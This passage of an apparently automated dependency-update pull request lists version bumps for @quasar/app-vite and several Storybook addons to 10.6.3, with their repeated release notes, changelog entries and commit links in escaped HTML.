href=\"https://github.com/quasarframework/quasar/commit/e7892cd249b848df043770e260f5c2844cd70e83\"\u003e\u003ccode\u003ee7892cd\u003c/code\u003e\u003c/a\u003e chore(ui/create-quasar): bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/quasarframework/quasar/commit/ec799eb3b50e9715e54861a826000683d12fae45\"\u003e\u003ccode\u003eec799eb\u003c/code\u003e\u003c/a\u003e chore(ui): bump version\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/quasarframework/quasar/commits/@quasar/app-vite-v3.10.3/app-vite\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@storybook/addon-a11y` from 10.6.1 to 10.6.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/storybookjs/storybook/releases\"\u003e@​storybook/addon-a11y's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.6.3\u003c/h2\u003e\n\u003ch2\u003e10.6.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAddon Vitest: Support Vitest 5 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36671\"\u003e#36671\u003c/a\u003e, thanks \u003ca href=\"https://github.com/PaulMest\"\u003e\u003ccode\u003e@​PaulMest\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNext.js: Fix app-router mock crash on Next.js 16.4 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36588\"\u003e#36588\u003c/a\u003e, thanks \u003ca href=\"https://github.com/obvious-autobuild\"\u003e\u003ccode\u003e@​obvious-autobuild\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNextjs-Vite: Provide parentRenderTree.bfcacheId in app router mock - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36732\"\u003e#36732\u003c/a\u003e, thanks \u003ca href=\"https://github.com/bhushan4work\"\u003e\u003ccode\u003e@​bhushan4work\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypeScript: Explicitly type returntype of ArgsStore#get - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36583\"\u003e#36583\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.6.2\u003c/h2\u003e\n\u003ch2\u003e10.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular-Vite: Require \u003ccode\u003e@​analogjs/vite-plugin-angular\u003c/code\u003e 2.7.3 or later - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36525\"\u003e#36525\u003c/a\u003e, thanks \u003ca href=\"https://github.com/valentinpalkovic\"\u003e\u003ccode\u003e@​valentinpalkovic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eCLI: Fix hidden output of CLI commands on Yarn 1 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36419\"\u003e#36419\u003c/a\u003e, thanks \u003ca href=\"https://github.com/kasperpeulen\"\u003e\u003ccode\u003e@​kasperpeulen\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003ePreact: Support Preact 11 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36526\"\u003e#36526\u003c/a\u003e, thanks \u003ca href=\"https://github.com/ghengeveld\"\u003e\u003ccode\u003e@​ghengeveld\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eSecurity: Patch GHSA-f2ph-cmg5-wxc8 and GHSA-px85-f4q5-jh77 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36726\"\u003e#36726\u003c/a\u003e, thanks \u003ca href=\"https://github.com/Sidnioulz\"\u003e\u003ccode\u003e@​Sidnioulz\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypescript: Explicitly type enhanceArgTypes - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/35664\"\u003e#35664\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/storybookjs/storybook/blob/next/CHANGELOG.md\"\u003e@​storybook/addon-a11y's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.6.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAddon Vitest: Support Vitest 5 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36671\"\u003e#36671\u003c/a\u003e, thanks \u003ca href=\"https://github.com/PaulMest\"\u003e\u003ccode\u003e@​PaulMest\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNext.js: Fix app-router mock crash on Next.js 16.4 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36588\"\u003e#36588\u003c/a\u003e, thanks \u003ca href=\"https://github.com/obvious-autobuild\"\u003e\u003ccode\u003e@​obvious-autobuild\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNextjs-Vite: Provide parentRenderTree.bfcacheId in app router mock - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36732\"\u003e#36732\u003c/a\u003e, thanks \u003ca href=\"https://github.com/bhushan4work\"\u003e\u003ccode\u003e@​bhushan4work\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypeScript: Explicitly type returntype of ArgsStore#get - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36583\"\u003e#36583\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular-Vite: Require \u003ccode\u003e@​analogjs/vite-plugin-angular\u003c/code\u003e 2.7.3 or later - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36525\"\u003e#36525\u003c/a\u003e, thanks \u003ca href=\"https://github.com/valentinpalkovic\"\u003e\u003ccode\u003e@​valentinpalkovic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eCLI: Fix hidden output of CLI commands on Yarn 1 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36419\"\u003e#36419\u003c/a\u003e, thanks \u003ca href=\"https://github.com/kasperpeulen\"\u003e\u003ccode\u003e@​kasperpeulen\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003ePreact: Support Preact 11 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36526\"\u003e#36526\u003c/a\u003e, thanks \u003ca href=\"https://github.com/ghengeveld\"\u003e\u003ccode\u003e@​ghengeveld\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eSecurity: Patch GHSA-f2ph-cmg5-wxc8 and GHSA-px85-f4q5-jh77 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36726\"\u003e#36726\u003c/a\u003e, thanks \u003ca href=\"https://github.com/Sidnioulz\"\u003e\u003ccode\u003e@​Sidnioulz\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypescript: Explicitly type enhanceArgTypes - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/35664\"\u003e#35664\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/storybookjs/storybook/commit/9b4e295a7f994b6496cb1fdd50b436dd64925cca\"\u003e\u003ccode\u003e9b4e295\u003c/code\u003e\u003c/a\u003e Bump version from \u0026quot;10.6.2\u0026quot; to \u0026quot;10.6.3\u0026quot; [skip ci]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/storybookjs/storybook/commit/5f00d7d0a78e069aa304bdb886da923e012ef2e0\"\u003e\u003ccode\u003e5f00d7d\u003c/code\u003e\u003c/a\u003e Bump version from \u0026quot;10.6.1\u0026quot; to \u0026quot;10.6.2\u0026quot; [skip ci]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/storybookjs/storybook/commit/243c06bf8f1e2f09446c44868ea100261e1374da\"\u003e\u003ccode\u003e243c06b\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://github.com/storybookjs/storybook/tree/HEAD/code/addons/a11y/issues/36726\"\u003e#36726\u003c/a\u003e from storybookjs/sidnioulz/patch-internal-v11\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/storybookjs/storybook/commits/v10.6.3/code/addons/a11y\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@storybook/addon-docs` from 10.6.1 to 10.6.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/storybookjs/storybook/releases\"\u003e@​storybook/addon-docs's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.6.3\u003c/h2\u003e\n\u003ch2\u003e10.6.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAddon Vitest: Support Vitest 5 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36671\"\u003e#36671\u003c/a\u003e, thanks \u003ca href=\"https://github.com/PaulMest\"\u003e\u003ccode\u003e@​PaulMest\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNext.js: Fix app-router mock crash on Next.js 16.4 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36588\"\u003e#36588\u003c/a\u003e, thanks \u003ca href=\"https://github.com/obvious-autobuild\"\u003e\u003ccode\u003e@​obvious-autobuild\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNextjs-Vite: Provide parentRenderTree.bfcacheId in app router mock - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36732\"\u003e#36732\u003c/a\u003e, thanks \u003ca href=\"https://github.com/bhushan4work\"\u003e\u003ccode\u003e@​bhushan4work\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypeScript: Explicitly type returntype of ArgsStore#get - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36583\"\u003e#36583\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.6.2\u003c/h2\u003e\n\u003ch2\u003e10.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular-Vite: Require \u003ccode\u003e@​analogjs/vite-plugin-angular\u003c/code\u003e 2.7.3 or later - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36525\"\u003e#36525\u003c/a\u003e, thanks \u003ca href=\"https://github.com/valentinpalkovic\"\u003e\u003ccode\u003e@​valentinpalkovic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eCLI: Fix hidden output of CLI commands on Yarn 1 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36419\"\u003e#36419\u003c/a\u003e, thanks \u003ca href=\"https://github.com/kasperpeulen\"\u003e\u003ccode\u003e@​kasperpeulen\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003ePreact: Support Preact 11 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36526\"\u003e#36526\u003c/a\u003e, thanks \u003ca href=\"https://github.com/ghengeveld\"\u003e\u003ccode\u003e@​ghengeveld\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eSecurity: Patch GHSA-f2ph-cmg5-wxc8 and GHSA-px85-f4q5-jh77 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36726\"\u003e#36726\u003c/a\u003e, thanks \u003ca href=\"https://github.com/Sidnioulz\"\u003e\u003ccode\u003e@​Sidnioulz\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypescript: Explicitly type enhanceArgTypes - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/35664\"\u003e#35664\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/storybookjs/storybook/blob/next/CHANGELOG.md\"\u003e@​storybook/addon-docs's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.6.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAddon Vitest: Support Vitest 5 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36671\"\u003e#36671\u003c/a\u003e, thanks \u003ca href=\"https://github.com/PaulMest\"\u003e\u003ccode\u003e@​PaulMest\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNext.js: Fix app-router mock crash on Next.js 16.4 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36588\"\u003e#36588\u003c/a\u003e, thanks \u003ca href=\"https://github.com/obvious-autobuild\"\u003e\u003ccode\u003e@​obvious-autobuild\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNextjs-Vite: Provide parentRenderTree.bfcacheId in app router mock - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36732\"\u003e#36732\u003c/a\u003e, thanks \u003ca href=\"https://github.com/bhushan4work\"\u003e\u003ccode\u003e@​bhushan4work\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypeScript: Explicitly type returntype of ArgsStore#get - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36583\"\u003e#36583\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular-Vite: Require \u003ccode\u003e@​analogjs/vite-plugin-angular\u003c/code\u003e 2.7.3 or later - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36525\"\u003e#36525\u003c/a\u003e, thanks \u003ca href=\"https://github.com/valentinpalkovic\"\u003e\u003ccode\u003e@​valentinpalkovic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eCLI: Fix hidden output of CLI commands on Yarn 1 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36419\"\u003e#36419\u003c/a\u003e, thanks \u003ca href=\"https://github.com/kasperpeulen\"\u003e\u003ccode\u003e@​kasperpeulen\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003ePreact: Support Preact 11 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36526\"\u003e#36526\u003c/a\u003e, thanks \u003ca href=\"https://github.com/ghengeveld\"\u003e\u003ccode\u003e@​ghengeveld\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eSecurity: Patch GHSA-f2ph-cmg5-wxc8 and GHSA-px85-f4q5-jh77 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36726\"\u003e#36726\u003c/a\u003e, thanks \u003ca href=\"https://github.com/Sidnioulz\"\u003e\u003ccode\u003e@​Sidnioulz\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypescript: Explicitly type enhanceArgTypes - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/35664\"\u003e#35664\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/storybookjs/storybook/commit/9b4e295a7f994b6496cb1fdd50b436dd64925cca\"\u003e\u003ccode\u003e9b4e295\u003c/code\u003e\u003c/a\u003e Bump version from \u0026quot;10.6.2\u0026quot; to \u0026quot;10.6.3\u0026quot; [skip ci]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/storybookjs/storybook/commit/5f00d7d0a78e069aa304bdb886da923e012ef2e0\"\u003e\u003ccode\u003e5f00d7d\u003c/code\u003e\u003c/a\u003e Bump version from \u0026quot;10.6.1\u0026quot; to \u0026quot;10.6.2\u0026quot; [skip ci]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/storybookjs/storybook/commit/d0c7fa22afe21a7b42828575813419b1628812ed\"\u003e\u003ccode\u003ed0c7fa2\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://github.com/storybookjs/storybook/tree/HEAD/code/addons/docs/issues/36526\"\u003e#36526\u003c/a\u003e from storybookjs/validate/preact-11\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/storybookjs/storybook/commits/v10.6.3/code/addons/docs\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@storybook/addon-links` from 10.6.1 to 10.6.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/storybookjs/storybook/releases\"\u003e@​storybook/addon-links's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.6.3\u003c/h2\u003e\n\u003ch2\u003e10.6.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAddon Vitest: Support Vitest 5 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36671\"\u003e#36671\u003c/a\u003e, thanks \u003ca href=\"https://github.com/PaulMest\"\u003e\u003ccode\u003e@​PaulMest\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNext.js: Fix app-router mock crash on Next.js 16.4 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36588\"\u003e#36588\u003c/a\u003e, thanks \u003ca href=\"https://github.com/obvious-autobuild\"\u003e\u003ccode\u003e@​obvious-autobuild\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNextjs-Vite: Provide parentRenderTree.bfcacheId in app router mock - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36732\"\u003e#36732\u003c/a\u003e, thanks \u003ca href=\"https://github.com/bhushan4work\"\u003e\u003ccode\u003e@​bhushan4work\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypeScript: Explicitly type returntype of ArgsStore#get - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36583\"\u003e#36583\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.6.2\u003c/h2\u003e\n\u003ch2\u003e10.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular-Vite: Require \u003ccode\u003e@​analogjs/vite-plugin-angular\u003c/code\u003e 2.7.3 or later - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36525\"\u003e#36525\u003c/a\u003e, thanks \u003ca href=\"https://github.com/valentinpalkovic\"\u003e\u003ccode\u003e@​valentinpalkovic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eCLI: Fix hidden output of CLI commands on Yarn 1 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36419\"\u003e#36419\u003c/a\u003e, thanks \u003ca href=\"https://github.com/kasperpeulen\"\u003e\u003ccode\u003e@​kasperpeulen\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003ePreact: Support Preact 11 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36526\"\u003e#36526\u003c/a\u003e, thanks \u003ca href=\"https://github.com/ghengeveld\"\u003e\u003ccode\u003e@​ghengeveld\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eSecurity: Patch GHSA-f2ph-cmg5-wxc8 and GHSA-px85-f4q5-jh77 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36726\"\u003e#36726\u003c/a\u003e, thanks \u003ca href=\"https://github.com/Sidnioulz\"\u003e\u003ccode\u003e@​Sidnioulz\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypescript: Explicitly type enhanceArgTypes - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/35664\"\u003e#35664\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/storybookjs/storybook/blob/next/CHANGELOG.md\"\u003e@​storybook/addon-links's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.6.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAddon Vitest: Support Vitest 5 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36671\"\u003e#36671\u003c/a\u003e, thanks \u003ca href=\"https://github.com/PaulMest\"\u003e\u003ccode\u003e@​PaulMest\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNext.js: Fix app-router mock crash on Next.js 16.4 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36588\"\u003e#36588\u003c/a\u003e, thanks \u003ca href=\"https://github.com/obvious-autobuild\"\u003e\u003ccode\u003e@​obvious-autobuild\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNextjs-Vite: Provide parentRenderTree.bfcacheId in app router mock - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36732\"\u003e#36732\u003c/a\u003e, thanks \u003ca href=\"https://github.com/bhushan4work\"\u003e\u003ccode\u003e@​bhushan4work\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypeScript: Explicitly type returntype of ArgsStore#get - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36583\"\u003e#36583\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular-Vite: Require \u003ccode\u003e@​analogjs/vite-plugin-angular\u003c/code\u003e 2.7.3 or later - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36525\"\u003e#36525\u003c/a\u003e, thanks \u003ca href=\"https://github.com/valentinpalkovic\"\u003e\u003ccode\u003e@​valentinpalkovic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eCLI: Fix hidden output of CLI commands on Yarn 1 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36419\"\u003e#36419\u003c/a\u003e, thanks \u003ca href=\"https://github.com/kasperpeulen\"\u003e\u003ccode\u003e@​kasperpeulen\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003ePreact: Support Preact 11 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36526\"\u003e#36526\u003c/a\u003e, thanks \u003ca href=\"https://github.com/ghengeveld\"\u003e\u003ccode\u003e@​ghengeveld\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eSecurity: Patch GHSA-f2ph-cmg5-wxc8 and GHSA-px85-f4q5-jh77 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36726\"\u003e#36726\u003c/a\u003e, thanks \u003ca href=\"https://github.com/Sidnioulz\"\u003e\u003ccode\u003e@​Sidnioulz\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypescript: Explicitly type enhanceArgTypes - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/35664\"\u003e#35664\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/storybookjs/storybook/commit/9b4e295a7f994b6496cb1fdd50b436dd64925cca\"\u003e\u003ccode\u003e9b4e295\u003c/code\u003e\u003c/a\u003e Bump version from \u0026quot;10.6.2\u0026quot; to \u0026quot;10.6.3\u0026quot; [skip ci]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/storybookjs/storybook/commit/5f00d7d0a78e069aa304bdb886da923e012ef2e0\"\u003e\u003ccode\u003e5f00d7d\u003c/code\u003e\u003c/a\u003e Bump version from \u0026quot;10.6.1\u0026quot; to \u0026quot;10.6.2\u0026quot; [skip ci]\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/storybookjs/storybook/commits/v10.6.3/code/addons/links\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@storybook/addon-vitest` from 10.6.1 to 10.6.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/storybookjs/storybook/releases\"\u003e@​storybook/addon-vitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.6.3\u003c/h2\u003e\n\u003ch2\u003e10.6.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAddon Vitest: Support Vitest 5 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36671\"\u003e#36671\u003c/a\u003e, thanks \u003ca href=\"https://github.com/PaulMest\"\u003e\u003ccode\u003e@​PaulMest\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNext.js: Fix app-router mock crash on Next.js 16.4 - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36588\"\u003e#36588\u003c/a\u003e, thanks \u003ca href=\"https://github.com/obvious-autobuild\"\u003e\u003ccode\u003e@​obvious-autobuild\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eNextjs-Vite: Provide parentRenderTree.bfcacheId in app router mock - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36732\"\u003e#36732\u003c/a\u003e, thanks \u003ca href=\"https://github.com/bhushan4work\"\u003e\u003ccode\u003e@​bhushan4work\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eTypeScript: Explicitly type returntype of ArgsStore#get - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36583\"\u003e#36583\u003c/a\u003e, thanks \u003ca href=\"https://github.com/mrginglymus\"\u003e\u003ccode\u003e@​mrginglymus\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.6.2\u003c/h2\u003e\n\u003ch2\u003e10.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular-Vite: Require \u003ccode\u003e@​analogjs/vite-plugin-angular\u003c/code\u003e 2.7.3 or later - \u003ca href=\"https://redirect.github.com/storybookjs/storybook/pull/36525\"\u003e#36525\u003c/a\u003e, thanks \u003ca 